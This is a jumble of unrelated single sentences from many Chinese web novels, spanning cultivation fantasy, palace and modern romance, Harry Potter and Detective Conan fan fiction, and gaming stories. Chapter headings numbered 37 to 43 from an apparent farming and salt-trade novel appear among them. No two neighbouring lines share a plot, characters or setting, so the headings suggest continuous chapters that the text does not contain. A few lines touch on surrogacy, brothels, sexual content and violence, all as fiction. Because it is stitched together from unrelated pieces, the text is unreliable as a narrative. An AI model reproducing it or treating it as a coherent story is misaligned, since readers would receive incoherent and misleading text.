“我住的地方,你有每天打扫的吧!”叶枝枝看着鬼医任青理所当然问道。
指尖酥麻的感觉,让林晚意心跳加速,她抽出来,若无其事的继续做。
更远处,高达万丈、树冠不知几千余里,遮天蔽日的黄金之树被人焚烧,整个天空变成了猩红的颜色,世界似乎陷入了癫狂之中。
他将湿润的紫色石蕊试纸在另一堆白色粉末上抹了一下——变蓝。
公寓无偿提供给代孕者,到时候确定怀上,就让我代孕者住公寓里,直到孩子呱呱坠地。
苏醒对于微型聚灵阵的领悟、以及九转丹的炼制,都更上一层楼。
“早去早回,一路平安。”姜怀仪对着叶枝枝说道,然后亲自送她出门。
温暖揉揉额头,看来今天是躲不过了,她按了下遥控,门锁啪的一声打开,不过,她的人并没迎出去,都这个时候了,她也懒得跟那妖孽虚与委蛇。
与此同时,未央宫的陆言的寝殿里,陆言挥退了所有的下人,从妆匣中取出那支桃花簪,微颤的手仔细的摩挲着那支白玉桃花簪,簪身柔缓,陆言耐心的一点点的摸着,再摸到一处粗糙凹处,她泪水再次涌出。
第一卷 第37章 打探县内盐业布局
他没有多说,不过看的出来,这个东西对鬼域的人来说确实很重要,要不然的话另一个也不会留在鬼神的身边。
纵然这许久过去,他的事迹,名声也是渐渐沉寂,但沉寂并不代表着遗忘。
容莹雪忍不住又看了君临一眼,君君临眼睫微垂,遮挡住了他的双眸,那张脸无悲无喜无表情,看的容莹雪心里瘆得慌。
想想,原主也是够了,遇到男主后,什么心思都在袁浩南身上,把自己的族人都给忘到脑后去了。
她对每一位亲戚记忆犹新,因为他们都被她整治得这辈子也不敢在她面前出现了。
而这逆子当初害了她之后就再也没回过家,只听说他在哪里做了什么事,出了什么名……道侣倒是循着他的踪迹过去找过他,可惜却被他避而不见。
“不可能吧,其他候选人的护道人,也都是整个伽蓝境年轻一代中最出色之人,而且玄仁圣子据说也不过是合体境,同境界之下,以一敌二难不成还能横扫”贾正卿立刻开口道,说着说着却突然陷入了沉默之中。
“你找家药店,给我买点醒酒的药吧,我现在这种状态,只怕没办法配合你演戏,万一给你演砸了,我可没钱赔给你!”白依妍嘲笑起来。
送走大明星李若彤后,陆轩开着布加迪威龙回家了,今天大年初七,新年真的算是过完了,今年的春节,陆轩不停的在江宁市和南宁镇穿梭着,不停的忙碌,可是他却乐在其中,今年是他过的最充实,最幸福的一个春节了。
段总压根忘记了,他刚刚还嫌弃那两人恶心来着,到了他这里,就一点也不恶心了。
我说很简单,两个方向,一个是我刚刚说的,第二个就是他们邮件给我们发送的那些附件,那里面删改掉的内容,就是他们现在调查的。
“千先生,我不太明白你的意思,我只是要回宿舍刚好路过这里而已。”那间谍面不改色,都被逮了个现行居然还想狡辩。
允康和武平齐都是一愣,忍俊不禁的掩了掩嘴,我尴尬扭回头,怒视这胖子。
不仅如此,听7号探员所说,他们应该基本已经确定天枢和天权密不可分了。
电影里都是骗人的,每当绝境的时候总会有船只路过,可现在茫茫大海乌漆墨黑的,连个鬼影都没有,这下老子该怎么脱身?
一家人坐在餐桌上,一边吃饭一边开开心心地聊天,一副其乐融融的画面。
千云月和火麒麟走出山洞,外面的气温明显没有之前高了,看来寒冰草的效果非常好。如果贼人只是为了寒魄花的食用效果,那么他们再来也没什么意义了,就算是为了解开封印,要祛除寒冰草也不是那么容易的。
因为要去燕京,吕天逸难得奢侈一把,定了张机票。这可是他人生中第一次坐飞机,值得纪念。
随后纪渊就去找了董大队,把这件事情和那边商量了一下,刚刚回来,就又有人打电话过来找他和夏青,说是周志专着急想要找他们,说是有很重要的事情想要和他们谈。
“天族真正的目的到底是什么?”千云月想了想,决定直奔主题。
白金乌并没有向大家说明他自己不是什么神仙,因为他知道,在人们的心目中,神仙是无所不能的。如果他以神仙的身份来处理此事,反而会让大家更加信服。
哈利觉得自己仿佛被魔鬼网牢牢缠住了,浑身上下丝毫动弹不得。
南宫琉璃能够深刻体会到眼前老人的心意,跟随在老人身边十几年时间,她对东方岩虎多多少少还是有所了解与认知的。
虽说最后被煞风景的焚身之火打搅,但今夜也是方士这些年来过得最兴奋的一次新年。
若是当真顺着她的话说下去,或许还会如几年前那样,被她直接给踹出房门。
福洛林-福斯科,对角巷一家冰淇淋店的店主——从店内留下的痕迹判断,他被劫走了。
那名狼首面具的影级忍者左手一把抓出数枚符篆,并直接朝着东方云阳飞射而去,然后他迅速结印。
吃完拉面,东方云阳与木下六藏、山田纱织三人一起离开八云家的拉面店,然后朝着村子的任务部走去。
黄庭湖旁,万人散去各回各家,几对夫妻有的甚至还未刚才意见不合而争吵不休。
白金乌向前走了一步,他真想上去夺过他手中的刀,然后再给他两个大嘴巴。
晴空,炎炎烈日。席撒将砍伐的枝叶搭在树上,让阳光一丝不能直接照射它们伤躯,又来回奔走兜来清水喂它们喝下,却不敢处理两兽伤口,只怕些许触碰也会导致痛楚刺激的它们求生意志崩溃。
这灵定内力本就深厚,若在武林排名,定在前十之列,以他这等功力,此时又用上禁传绝招,体内潜能更是完全激发,一掌下去,力道之雄,恐怕天下无人能挡。
西海龙王暗松了一口气,那里还敢去追杀别人,就在此时脚下忽然传来一阵抖动,无数岩浆劈头盖脸的喷涌出来,只一下众水族就死伤无数,又被那大蛇一扫,终于将护罩轰个了粉碎。
只是太上老君自是圣人,也自有圣人手段,金、银童子这步棋安下本来是等孙悟空,哪料到天机起了变化,于是这步棋继续安着,等到了黄袍怪、庄万古、暴猿三个镇天级高手。
再说,常务副县长可以进县委常委,这对于赵政策来说确实是个千载难逢的好机会。进了常委会就有了重大决策的投票权,也可以更大程度地施展自己的才华,赵政策自然是不想错过这次机会。
没有人是“尤一天”的一合之敌,也没有人能够抵挡“尤一天”发出的黄金斗气。对于“尤一天”这么强大的黄金斗气来说,这些还处于高级剑士,甚至一些还只是中级剑士的士兵根本就无法抵挡。
第一卷 第38章 精盐换蒙马
就算是剖腹产,等到麻药过了之后,也还是会疼的,不过她是昏迷状态中,那什么疼痛也都感觉不到了。
应急措施交代下去之后,深蓝才有时间安慰一下损失惨重的法师们。死去的七万旅者法师百分之九十都是法协的会员,剩下的都是义务支援,他们的死让深蓝很不好意思。
风光却是盯着他的侧脸发起了呆,她蹙眉,伸手在他的侧脸上戳了戳。
“如果是这附近死了鱼,我会不知道吗?”风光又皱着眉,在前院里转了一圈,刚刚转完了一圈,门口响起来了其他的声音。
两人正说话间,一条宽敞的康庄大道出现在正前方。刚刚本来还没有这条路,漫天的大火消失后,也不知道怎么,这条路就突然出现了。或许,这是一条比较特别的路?
千奈只是一个随口说的话,没想到慈郎就立马接了下去,但是千奈肯定的是,慈郎没有醒来,这是他潜意识里的回应。
唐安礼周围天空有战鹰盘旋,似乎是用来侦查的,但显然这种凡物根本无法看透一些结界,所能起到的作用并不大。
他不会用漂亮两个字来形容她,这两个字对于她来说,还太成熟了。
“好,我明白了。”收下椒图甲,传来一股敦厚古老的气息,是一件好东西。
佑敬言在闲话之中也告诉赵祯,他与赵祯也是开诚布公的,望赵祯不要多想。
“这个叫做烟火,是宋国那边的东西,只是这里为什么会有烟火呢?难道有人要办喜事?”一个年轻的军士不解的问道。
侯爵对着琳琳说道:“琳琳,你别难过了,哥哥现在就去你学校看看,这到底是怎么回事。”侯爵的话还没有说完,他家里的电话就响了起来。
筑基中期顶峰的修为,已经能够让张元昊持续唤起三尊火竹剑客出战,竹山论剑图的强悍之处在他手上已经初露峥嵘。
白骨山内,刚刚成立没多久的长老会,就在龙皇离开后没多久,迎来了第一次的长老大会。
侯爵直接一掌向着煜打了过去,侯爵出手特别凶狠,煜只能躲到了一边,侯爵直接飞走了。
汤怀性格要强,岳飞越是这样说,越想做些什么,只是一下也找不到什么机会,此事便按下不提。
佑天平倒是常带着妻儿回来,但哪次回来不是都提着一堆老爷子不稀罕的东西,说上一大堆虚伪至极的客套话。
他们一直往前面走了很久,直到翻过一座山的时候,他们才来到了一座像村子一样的地方。这个村子很普通的村子不一样,他们的房子依次而建,中间有一座很大的,像宫殿一样的建筑。
金乌妖王发出恐怖的金乌啸音,犹如世间最恐怖的利器,震碎一片片云朵,掀动起道道河流。
她平时脸皮厚习惯了,但是今天她是真的没有了以前的声势,大概是太在乎,所以情怯了吧。
何况危机时常伴有机会,而且薛、邓两家虽有十万大军,但曹劲在衮州的兵力也有六万余众,加上熊傲手上三千精兵,就可达兵力七万。
她泪如雨下,情难自已,在这个,自己爱了的、恨了的男人怀里哭得惨烈。
韩应雪和轩辕凌跑了好几家米铺子问了问,他们能够最多卖出来多少粮食。几家米铺子加起来,也就十万斤的粮食。
她和周崇光的感情,来得那样草率,结束时却是痛彻心痱,她不想和顾泽也这样。
于是这两个陌生男人,其中有一个猛地拿出了刀来,狠狠的插到了上官瑟的胸口。
而且,除了容越的钱她不想花别人的,以前那个爱慕虚荣的艾萌萌已经死了,她想好好的,然后配得上他。
楚洛一说完,楚旭宁和秦少白对视,在蓝军这边,山林战区确实是顾玺城负责的,而老虎就出现在山林里面。
“我没事的,你放心。”悍娘知道洛云汐,是担心她太冲动,如果再一次对上齐家的话,说不定结果就不是这一次的那么好了。
曹劲身为曹郑的第三子,在信都任谁都会给三分薄面,既然此信事关曹劲,自当先呈于曹劲。而现在却饶了一手才到曹劲手里,那么,只有呈给曹郑本人才会如此。
“恒如兄说的是,帆不是别有他想,而是不见君侯根本想不到他会如此相待,帆岂还能再有二心?定当竭力为君侯效力,又能与兄弟们一处,更是人生乐事。”白帆闻言颔首正色道,杨定所言倒当真是实实在在。
郭荣也恨不得上去把狼牙给踢开,这韩东真是太奢侈了,现如今,连人都吃不饱,怎么舍得给狗吃肉。他心里恨恨道:特娘的,这死狗,早晚有一天要被我给炖了。
刺史大人一回到家里,就让手下的人去袭击了那些人,因为有了地址和名字,所以很容易抓到了。
只见九叔默默的从怀中拿出了一套消毒铁碗筷,一桌子人一脸懵逼,也就王靳毫无表示,人多吃饭这样卫生多了。
“比如说要让你参加校队什么的?我记得你们学校有参加高校联赛吧?看着电竞社这规模,似乎还挺不错。”韩宥琢磨着自家徒弟毕竟如此优秀,要说被盯上也是完全可能的事。
这显然是一个新地不能再新的新号,英雄不多但基本集中在这一块,凑合着也是够用。
他打算豁出自己这条性命,也要唤醒在场众多正道修士的血性,让他们跟自己一样,有胆量与魔道对抗。
看到这里,他就明白了几分了,说真的,有些人,真的挺奇怪的,他们总是觉得自己不会被发现,可惜,却是从来都没有的事情。
埃拉木真的后院里摆放着几堆在楚云看来是破铜烂铁的东西,其中有不少还是魔具,因为这个地方降水极少,空气也比较干燥,所以这些机器也被放置的极其随意。
第一卷 第39章 谁偷了我的猎物
银光如雨,铺天盖地,溅洒十方,剧烈无比的光辉照的众武者眼睛剧痛,目不能视,举手遮挡,直到一刻之后,当那可怕的光芒彻底消失,所有人才慢慢放下了臂膀。
伴着魔欢真人,增加了“魔欢迷香散”的药量,许环便感觉,全身更加的无力,身体如同火烧一般,灼热的厉害。
“咦?”楚阳心里吃惊,可眼睛一瞄白海涛的手,一下就愣住了。这不是李绍武的三棱链子棍么,怎么会在这个愣头青的手里?
赵雅还是识大体的,就算心中的怒气再大,她却明白,现在真的不是发作和指责楚阳的时候了。
刚听到脑海里响起的这股惨烈之声,楚星寒的意识好像受到拉扯,竟猛地进入了一场如真似环的战争世界里。
“死过一次的人,怕是要比常人看得开些。”沈念一走过去,孙世宁长得不错,但并非绝色怡丽的尤物,他几次相助是为了什么原因,也曾经默默问过自己,如果用他们之间算是有婚约这一句,能否过关?
云浩微微皱眉,张开赤眼金瞳,一边向深处走,一边仔细在四周搜寻着,最终他的目光,停留在了一棵巨大的古树之下。
林贵妃多年执掌后宫,皇后死去多年,皇上至今不曾重新封后,每个嫔妃心里头实则都留存着一丝的期盼,盼着能够飞上枝头变凤凰,千算万算也不能容许一个新入宫的抢夺了这份可能性。
“连什么作用都不知道,你会花几万元石买么?”清赫龙看着中年男子,冷声问道。
接下来,林奶奶对林枫的问话就更具体了,如果说以前是拉家常,那现在基本就是查户口了。
“什么?!”唐浩大惊,魔兽们竟然不趁着夜色来偷袭,而是选择了白天?萧月儿到底打的什么鬼主意?
拉达曼蒂斯与布奇本身就是肉搏型的剑圣,此时加农愿意与二人进行肉搏,那二人又岂有拒绝之理?
无数锐不可挡的凛冽刀气随着他急旋转的身影纷纷飒飒迸射而出,全部以中间的欧阳双绝为目标,呼啸而去。
没错,这猪八戒再怎么想报复林枫,也找不来两个警察来帮他出气,而是背后有人挺着,他就是个跑腿的。
黑衣青年有些意外的打量起了离他不远的蓝衣青年,而蓝衣青年也在看他,两道目光立刻激起了一阵无形的火花。
青年没有雄壮的身躯,却给人一种如临山岳一般的感觉。古铜色的皮肤之下,没有如同健美先生般的发达肌肉,却蕴含着无匹的爆炸力。
“喂!琪瑞!她就是你朝思暮想的楚嫣?”一名年纪与唐浩相仿,身材挺拔,长相英俊,气质出众的超级帅哥双手环抱在了胸前,语气之却透着一丝玩味。
额,兴许是,妙妙是别人的魂魄,出事故死亡之后就抢占她宝宝的躯体?亦或者是……其实妙妙就是个胎穿,她确实是她的宝宝,只不过,是投胎时候忘了喝孟婆汤?
高木警官见目暮警部来了,迎上去把目暮警部接来,把杉山精一和半崎次郎两人介绍给目暮警部,并解释了一下他们之间的事情。
商量结果如下:1,炮天明、无双鱼、剑琴以慕容府客卿身份替赛。
因为他知道罗成一个秘密,可以在不需要石碑的情况下将精魄变成兽魂力,所以现在罗成的实力不能再以离开血龙古城的时候看待。
除了电脑,贝尔摩德气愤得把能砸的东西都砸了,整个房间一片狼藉。
“没有的事情,我是想起了以前的干服务员时候的事情!”贝海说道。
三村说致盲星在附近的村子里面有成员潜伏着,他可以先去联系试试看。
然而,以卡兹维托的力量,也就是把投矛刺入地面几十公分而已,再想要造成更大的破坏就变的非常困难。
在枫桥镇,叶宇与秋兰等人汇合,但是没有急着离开,而是叶宇独自前往了张家大宅一趟。
他恐惧的手都在颤。面上满是惊惧后怕和恐惧之色,脆弱的像是一推就像镜子一样碎开了,四分五裂,这样狼狈懦弱的萧熠。沈倾从来没见过。
“对对,来先走一个。”戴镜拿起自己的一瓶茅台站起来朝沈幕雨晃了晃道。
三位导师似乎对这种学员之间的摩擦不太管理,学院里本来就有各种派别,这其实也是一种另类的竞争,只要不死人,他们都是睁一只眼闭一只眼的。
也是没有再继续客套,李昊送来手,就把自己带来的饭盒都给打开了,便打开便说道。“我给你们两个带了饭菜,你们两个肯定都饿了吧。”说着李昊便把做好的菜从饭盒里端了出来。
“二长老,先前就是这个家伙,抢了我们的沐天金龙涎,还出言侮辱我们幻剑门!”见到柳辰,那李时岳眼中也是有着狂喜闪动,然后急忙对着那名灰衣老者道。
罗云侧了侧身子,兰朵朵板着脸自觉自动的往回走。事实证明在罗云的地盘、还和罗云打架是毫无意义的。
第一卷 第40章 黑熊瞎子
沈岚面色淡漠,一点都没有刚才面对叔叔阿姨时的那股恭敬礼貌。
或许,他们都是想在这场圣杯战争彻底结束之前独自静一静,做好与并肩作战建立起羁绊的从者,与这场圣杯战争告别的准备。
唐凌菲正想再说点什么,可这时,她目光一转,却看到了许哲放在床上的手机。那手机的屏幕现在亮起来了。
最后在一个不起眼的角落,看到了一块几乎腐朽到不成形的墓碑。
虽然增加了雪颖的雪音神,但是,对于能否战胜他,火麟飞一点胜算也没有,但是,听胖墩的异能锁说这样会战胜他。
因为引爆信念源泉的后遗症,开始逐渐发作了,他现在,已经有些感觉自己的身体开始发热了。
裴初雨见杜林看到周末这张靓照,竟然异常的平静,忍不住惊讶的问道。
这个时候,一条青金交织的金属蛇骨链凭空出现,瞬间将周震整个缠住。
黄黎不满的拉了一下陈雨,不管周末是用什么方法把中年人忽悠住的,但现在周末是人家的贵客。
萧岳的师父说了只说一句话,但是却说了一连串,让萧岳很是无语,但是萧岳却也明白了这是什么东西了,这并不是像那位卖草的老前辈所说的那样,是一门功法,而是类似藏宝图那样的东西。
派人将会面结果通知了史迪威和丁力,让他们提高警惕,随时准备战斗。
张江的教导二营,在营门处,将走出的军士,排了队列,押送回城内军营。不大的功夫,就将一个营区的人清理完毕。然后王继昭又率队如法炮制,将一千三百名赤手军士悉数押解回城。
其余的大帝也都是如此,撑了这么久,都没有一丝一毫的休息,因为这个级别的战斗,哪怕有一瞬间的失神或者一点点的失误,便会丧命在此。
华安哽咽着谢了,自去办理公务。草草吃完晚饭,就来参加会议。
也罢,大不了换一具肉身,再说八字还没一撇,说不定根本没有危险呢?
眼看着时间所剩不多,他们还需要花费一定的时间从波澜星传送到白虎星,不孤山的散修们都是按捺不住激动地心情,一个个望着罗平的山峰方向,望眼欲穿。
“虽然不知道你是谁!但是我知道,你此刻过不来吧?今天他们四个必须死,还有你,给我等着,我也一定杀死你!”铁木云恨恨的说道。
“哪有这么容易?”萧岳摇了摇头,然后左手抓住黑衣门门主的手掌,轻轻一甩,黑衣门门主直接从天空中被甩到了地面上,砸出了一个大坑。
这里和玄尘大陆的海边没什么两样,不过就是树,长得有些像椰子树。
“大家好!”叶寻也挥着手简单地打着招呼,心里却在想:怎么自己暂时来接个位,怎么搞这么大的动静。
“你给我闭嘴!他他他……我觉得我梦见过他!”夏幕被急得嘴都瓢了。
我赶紧回头,许薇就站在我们身后!她不是被迷倒了么?敬姐不是给那个门都锁死了么?
好在这一切只是虚惊一场,看着有说有笑在篝火边聊着天的众人,叶天赶紧问道。
不仅手段华丽,杀伤力也十足,一番狂风暴雨的攻势之后,人鱼老祖的脸上、手上、胳膊上、鱼尾上都出现了不同程度的伤痕。
随后便跟着他,坐上了停在酒店门口的车,朝郊区的一栋豪宅失去。
距离叶寻上次直播已经有几年之久,粉丝们一听到消息都涌入了直播间。
云瑶的生活很是单调,有时候一次闭关就是几千年,直到云瑶迎来自己的神劫之时,也是这片平静被打破的时候。
吴痕不说话,赶紧坐在旁边,拿出一枚弹药吞了下去,开始认真调整。
虽然算不上是劫富济贫,但对于这些伤天害理事情的家伙,叶天可没有丝毫的怜悯。
李沐然之所以敢如此嚣张也是有缘由的,要知道赛诗会是在太守府内,而庐州城的太守旧坐在面前,若是自己在这里吃了亏,估计明天整个庐州城的百姓能用口水把太守府淹没了。
刘琰闻言后,不喜,不悲,只是那眼角处两行清泪缓缓落下,滴落在地上,无声作响,诠释着此刻他的内心感受!。
杨冬这才似乎的想起来,这个什么69。这个姿势,是杨冬自创的,光是一听名字,那就是邪恶的很。
只是可怜之人必有可恨之处,谁又知道在李沐然之前有多少人遭受过他的毒手呢?
总部将这么的一手好牌交给她川岛美惠,但是她却打出了最烂的打法。
擦,你这个没节操的老头,上次张建辉来你不是说他想来几次来几次吗?怎么到老子这儿就变了,节操何在?
可以说一般的人想接触到修士,真的很难,因为如今的修士在人类比例中已然不足十万分之一。
经dj这么一提醒,在场的所有人立刻又变的疯狂起来。庆祝再一次开始,球迷们只记住了那个奥布莱恩杯,却忘了拉马尔说的克制。
第一卷 第41章 大英雄打死了熊瞎子
而这具身体,现在虽然不是巅峰状态,可阻拦住还在“成长期”的狼,还是不在话下的。
而原本打算尚且忍耐的德拉科脸色也终于随着罗恩的这句话彻底黑了下来。
看到接过支票的高远正在发呆,大冈红叶不由出声提醒道,让高远的注意力,回到了现实中。
“啪嗒”泪水从他的眼眶流淌而出,沿着高挺的鼻梁滑落,最后掉在了地面上。
好在,当回过头来重新看向彭彭的时候,查理有很好的将其收敛起来,依旧是平静的点了点头,伸出手,示意他接着说下去。
总算还保有点理智……王洛也不知道自己该庆幸还是什么,只得慢慢开口。
多比的耳朵往下耷拉了些许,但也没有多说什么,只是点了点头。
非但没有在意王洛态度的直接,反而觉得这个年轻人说话做事不拖拖拉拉,非常对他胃口。
斯内普后退了两步,目光深深在奇洛的身上打量了两眼之后,将身上夜风吹起的黑袍拉了拉,随即转身向着走廊的另一边走去。
想想原作后面,水无怜奈被救回组织后,琴酒对她的不信任,高远就有些期待,如果这事发生在伏特加身上,琴酒会怎么想呢?
雨水洗刷着玻璃窗,一遍又一遍,不问来由的狂风,将窗户的玻璃扇拍打得哐哐作响,使人本来就乱糟糟纠成一团的心思,搅乱得更加茫然无措。
南宫音仪怨恨不平的看了眼陌湘君,但是太子在后面,她不敢惹出什么事端,只好灰溜溜的走了。
再就是这个时候的电脑,以曾家现在的经济情况,短期内是用不起的。
之前那老者张了张口,此刻脸上写满了忏愧,一声叹息之后对着陈正深深一拜,然后主动离开了时停之地。
纵然罗玛说了不必大肆操办,然而在洪水侵袭中幸运活下来的族民们,还是用着身边能找到的所有食材,烹制了诸多美味佳肴,全族人聚集在了半山腰突出的横台上,准备敬告天地山神,和他们的元祖。
她……她就是这般想的,她不怕没人要她,她早已与那远房表哥说好了的,等她摆脱了那土匪头子,他还是会要她的,所以,她没什么后怕,就是想离开那土匪窝。
九十年代,是香港音乐对大陆影响力进入巅峰的时候,一个个的天王天后在大陆收割了无数粉丝。在大陆,可以跟这些天王天后掰手腕的人物,绝对是凤毛麟角。
她已然知道甄安的结局,丧尸病毒没有解毒血清,甄安就算拖着一条命,也只能苟延残喘,但是,在她原本的记忆中,现在还活着的周雄王源等人死了,这一场蝴蝶效应中,甄安的死说不定会是例外。
不一会儿,男丧尸重新躺了回去,嘴角还挂着一滴鲜红如宝石般晶莹剔透的红色,搭配上那张纯白如纸的精致面容,如鬼魅一般可怕。
这茶水,还没开始喝,萧美人就知道是好茶,怕是这些山贼们平时里打劫打到的东西。
方才她也有些急了,已经来到这青云炼场一月有余,不但任务没有任何进展,自己反而被困在了昆仑虚,难免郁闷。
看到评委的人数,林天倒是有点在意起来,他倒是没有什么,只是在西方人眼中,十三可不是一个吉利的数字。
顿时三四只古朗基脚下陡然出现一个蓝色的六角龙印记,陡然间,天空中降落下来一颗蓝色的流光。
“一般,特殊体质到了一定时间会自动觉醒,看这家伙的样子,并非自动觉醒,而是人为的刺‘激’,而且刺‘激’十分强烈,差点让他疯了!”龙猫道。
话音刚落,对面的活雷公忽然颤抖起来,就跟发羊癫疯似的,同时哼哼冷笑起来。
夺血升灵诀除却夺血和升灵这么两大步骤,在不同的修为境界还有着不同的炼化真灵之气的法门,骁勇就暂时暂停了夺血和升灵,依照入门层次的炼化法门炼化体内的真灵之气。
何尚最讨厌别的叫他死胖子的,就算是林天也只是叫他何胖子,而这个中年男子竟然这样说他。
毕竟身为火影的工作很是繁忙,忱忱也只是奢望一下张烨能够来学校亲自接他们。
这一战,天皇氏对洛方是心服口服,这一拜,一是为了感谢救命之恩,二是因为洛方的胸怀,若是给他,今天还真的未必出手。
“露姐,不要这么喝酒,很容易喝醉的!”肖萌萌赶紧过来劝说道。
睡得正香的李泰然,朦朦胧胧睁开双眼,对眼前的状况还不明所以。
为什么是路曼妮留下了口信,而不是船王老爷子?她想表达什么意思?是在通知我,她要准备下手了吗?
生命之火剥夺了黑影老者的生机,虽然没有肉体与精神层面上的疼痛,却让黑影老者清晰地感觉到自己似乎正在化作泡影逐渐从这个世界消失。
分散各处正在殴打俘虏、搜刮战利品的玩家们,听见这热闹的雀跃欢呼,也忍不住张嘴跟着凑热闹。
就是做梦时,梦到自己爬楼梯到天台,脚下楼房左右摇晃,似乎要塌下去,梦中人很不安,但梦中人又晓得自己在做梦,不应该害怕,可还是控制不住恐慌。
柳姑姑叹了口气,环顾屋内姑姑与姑娘们,苦涩道:“这就是当表子的下场,任凭你在这个行当爬得再高,依旧是表子,是被人看不起的下九流。
第一卷 第42章 招工烧砖
之前,秦锋就想要换个房子,蟠桃树、方寸山的松树慢慢长大,那里已经不适合自己居住,本来是想在海上弄一座岛屿,布个阵法,但是现在却不用那么麻烦了。
知府大人是真的非常欣赏叶海轩的指挥能力,也看出了他能做将领的潜质。
一根勾魂的铁链设计成鬼界最强兵器,甚至牛头马面坐在家里,就能直接把勾魂的铁链贯通六界去勾魂。
周灿一看,子君真是变了,竟然学会了睁眼说瞎话。长那么漂亮,竟然还说自己丑,那没有男朋友不会也是假的吧。好不容易放松的神经,一下又紧绷起来。
大腿还是近距离的抱着比较好。走是不想走的,但万一君衡觉得她另有所图,想要一直赖在他身边可怎么好?
“去吧,年轻人的世界,我们老头子就不掺合了。”万老爷子笑道。
“就是心里不舒坦。”发泄了一阵,流了一身汗总算舒服了一些。
“竞哥,还挺得住吗?”子君说着也递了一瓶水给他,姚竞接过咕噜咕噜几口就喝了大半,又把水瓶还给了子君。
“你坐下,不用管我。”何晶晶笑得很和善,让叶明觉得如沐春风。
叶凡也不可能在这里大规模暴兵,因为还要回到北方,万里迢迢,暴兵的话回去都是一个问题。
“一会还是等佐影轩告诉你吧!”缚灵真的不知道该怎么说了,一个是妖神殿的副殿主,如果自己卖了他就等于是出卖了妖神殿。而另一个则是面对这样的抉择,缚灵最终只能选择沉默。
白庸看了看正中央的大太阳,皱了皱眉头,旁边的白如雪掏出一块手帕,细心地擦去他额头的细汗。
阿尔托利亚从我的面前穿过,跳入浴池中,我一时间赶紧转过身,背对着她,虽然该看的,不该看的都看光了。
吕布端坐在赤兔马上,他没有阻止华雄,他知道华雄也是一个成名rì久的武将,如果胜之不武,会在他心里埋下yīn影。就让华雄全力发挥,看看能不能赢得关羽。
食堂里还有不少吃饭的人,听到李三泰这么贬损王六顺,都乐不可支地大笑起来。
“就是……都还不知道是怎么回事就没了。”潘伯在自己的大嘴里掏了掏,一无所获。
当然,我并不是想要贬低利冯兹,事实上我很欣赏他,没错,我几乎被他说动了,犹豫再三之后,决定加入他的队伍。
老头说的这话很有意思了,当着那么多的人表明了叶泽涛就是他的救命恩人,这里面如果没有一些道理。大家是不可能相信的。
“试试吧,注意给我加血,骷髅战士卡好位。”姜风说着,身体向后撤了一步,和骷髅头领拉开一段距离。
许时今听一觉道长越讲越玄,虽然觉得难以理解,但是知道一觉道长不会骗他,所以,只能坚持深信不疑。
奕的声音非常洪亮,然而,面对没有太大起伏的海洋,声音根本无法传出太远,相反,强大的声音却震动得身后树林一阵晃动,大量的飞鸟鸣叫着飞起。
奕一直注意这华的动作,当看到华上来的方法的瞬间,他不由得愣了一下,不过,只是瞬间,华就已经来到近前,张开大嘴怒吼了一声,他立刻回过神,转身狂奔,而在狂奔的同时,奕心中却不断的思考着。
“我这不是觉得这一次把签约仪式让到首都来,对咱爸心存愧疚嘛,这一次咱们回去看他,我给他认个错,让他不要生气了!”林毅晨的态度非常诚恳。
“大师兄,我才不着急。”可能是跟伯宇混的稍稍熟了些,所以在对伯宇说话的时候还是挺有意思的一件事情,最起码现在林雪瑶并不排斥她跟以前的自己相比也算是有了很大的进步了。
林毅晨看着待在自己面前的这个难受人心,心中感到格外好奇,对方的真实身份到底是什么,为何它会出现在这里面?
这回不止是盘古大帝,就连严瑾的神色都凝固了,更不要还在天界的真武大帝等人,这一刻,三界生灵皆是心头巨震。
其中对于炼药师来说控火玩火就是看家本领,与诗人吟诗作对一样,相当于是很闲情逸致的玩意了。
第二日清早,吃过早餐,范昭送走了范西屏和施襄夏。月香和红儿洒泪而别,各奔前程。施襄夏赶在绣琴出嫁之前,将月香嫁给卞立言为妻。卞老爷嗜棋如命,对施襄夏恭敬有加,加之月香棋力不弱,自然十分喜欢。不细表。
说着便爬上床去用力撕咬那床锦被,一时间锦帛撕裂之声不觉于耳。
其实前两天,我们是来过这里的,也让船夫搭乘我们过一趟河,但是被他拒绝了,因为那两日船的底部漏了水,今日才修好。
第一卷 第43章 左千千来访
在拿出银白光鞭四处抽打,击碎周围的陨石块后,巨人才朝着某个方向飞去。
回想无数个深夜因为创作一把一把掉头发的光景,徐星妍头次觉得自己好像要碎掉了。
宫的人都成了全后宫都同情的对象——他们宁可去伺候老太妃,也不想伺候这种完全没法沟通的傻子,就怕哪天他把自己折腾死了,宫人们还得跟着陪葬。
他吃不吃无所谓,主要是说请客了,管他好不好吃,至少得把这顿饭安排上咯。
在B678913用自己的零件修好生产线后,蓝桐也在脑内完成蓝图的制作,在科技法则正常的情况下,是可以用到其他世界的,而且本身的行为也能增加一些相关的经验。
习武之人自然抗冻,但就算是御前禁军,也暗暗在盔甲之中多穿了保暖的衣物,连剑柄上都层层裹紧了布条,因为冻手。唯独张瑜看见雪了反而更兴奋了,特意把莹雪剑取了来,要舞剑给她看。
姜青姝没有怀疑这个动机,因为君后现在的爱情度有90,原游戏高于70就愿意侍寝了,现在这么高,别说只是躺在一起,想做一点不可描述的事都正常。
网友们意识到自己被耍了后,哪里还能忍,一时间,对钟意她们的谩骂铺天盖地地袭来。
她虽前些日子被赵幽抢走了所有的现银,不过好在,手里的庄子铺子,月月都有不菲的进账。
其中最重要的一点是,不管什么时候起床,都能吃到一口热乎的饭菜了。
他寻到一处隐蔽的水潭,潜入水中钻入古玉空间,警惕的看向外界。
话说陆长风本就是来找万年玄冰的,只是经过这些事情,又被魅影无形的创造耽误的时间。此时这里的一切尘埃落定,他终于想起正事来了。
苏温醇看见消息没多大反应,自己的孩子还是多少了解一点的,以前问过青凌为什么铭佑一直不找对象。
机缘巧合之下是夏云柔给他拿出了两粒丹药,他吃了之后立即就好了。
听到这话,王名媛的眼中闪过一丝凉意,她想起了自己之前的失言和对宋时微的轻视,心中不禁泛起一丝后悔。
到了这一步的时候,别说是这些职业选手了,就连很多官方的解说,也都看出来了。
是夜,红烛高烧,窗纸上朦胧地照映出起伏的人影。真想这一夜持续到永远,天永远不再亮。
遂头一偏的看向石志,还没等他说话,石志那沉厚的声音就冒了出来。
不过现在学校外面吃饭的地方只有个长征食堂,菜价很贵,肉菜要五块钱朝上,她们最后选择从食堂打菜回来吃。
翌日,余昊一行人来到了余府大门,此刻的正门已经打开,外面有着三十位身着铠甲的壮汉,在他们此刻皆骑在高大的飞云马上。
“将臣去死吧!”闻人萱大叫一声,手中青色神级法器刺在了将臣的后脊背上。
这种情况一直持续到了下半夜,在新乔府的周围方圆一里范围之内,均能闻到他所制茶的茶香味。
